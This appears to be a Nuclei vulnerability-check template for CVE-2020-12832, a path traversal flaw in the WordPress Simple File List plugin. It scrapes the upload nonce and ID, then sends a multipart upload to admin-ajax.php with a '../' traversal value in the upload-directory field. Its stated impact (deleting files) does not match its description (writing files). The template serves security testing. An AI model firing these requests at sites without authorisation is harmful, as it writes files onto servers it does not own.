CVE-2020-12832: WordPress Simple File List - Path Traversal

id: CVE-2020-12832

info:
  name: WordPress Simple File List - Path Traversal
  author: riteshs4hu
  severity: critical
  description: |
    Simple File List plugin allows path traversal via file upload, enabling files to be written outside the upload directory.
  impact: |
    Attackers can delete arbitrary files on the server, potentially causing data loss or service disruption.
  remediation: |
    Update to version 4.2.8 or later.
  reference:
    - https://wpscan.com/vulnerability/422360b9-4c70-4fd9-9833-375f1294bd7a/
    - http://nvd.nist.gov/vuln/detail/CVE-2020-12832
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12832
    epss-score: 0.73235
    epss-percentile: 0.9874
    cwe-id: CWE-22
    cpe: cpe:2.3:a:simplefilelist:simple-file-list::::::wordpress::*
  metadata:
    verified: true
    max-request: 3
    vendor: Simple File List
    product: Simple File List WordPress Plugin
  tags: cve,cve2020,wp,wordpress,wp-plugin,traversal,simple-file-list,lfi,vkev

variables:
  rand: "{{rand_base(7)}}"

http:
  - raw:
      - |
        GET /?rest_route=/wp/v2/pages&per_page=100 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: slug
        json:
          - '.[] | select(.content.rendered | contains("eeSFL_UploadGo")) | .slug'
        internal: true

  - raw:
      - |
        GET {{slug}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: sflnonce
        group: 1
        regex:
          - 'name="ee-simple-file-list-upload-nonce"[^>]*?value="([A-Za-z0-9]+)"'
        internal: true

      - type: regex
        name: sflid
        group: 1
        regex:
          - 'id="eeSFL_ID">([0-9]+)'
        internal: true

      - type: regex
        name: ext
        group: 1
        regex:
          - 'eeSFL_FileFormats\s*=\s*"([A-Za-z0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytA7kTuCe4IHDaUBZ

        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="action"

        sfl_upload_job
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="file"; filename="{{rand}}.{{ext}}"
        Content-Type: application/octet-stream

        {{rand}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="eeSFL_ID"

        {{sflid}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        wp-content%2Fuploads%2Fsimple-file-list%2F..%2F
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="ee-simple-file-list-upload"

        {{sflnonce}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ--

  - raw:
      - |
        GET /wp-content/uploads/{{rand}}.{{ext}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "{{rand}}")'
        condition: and
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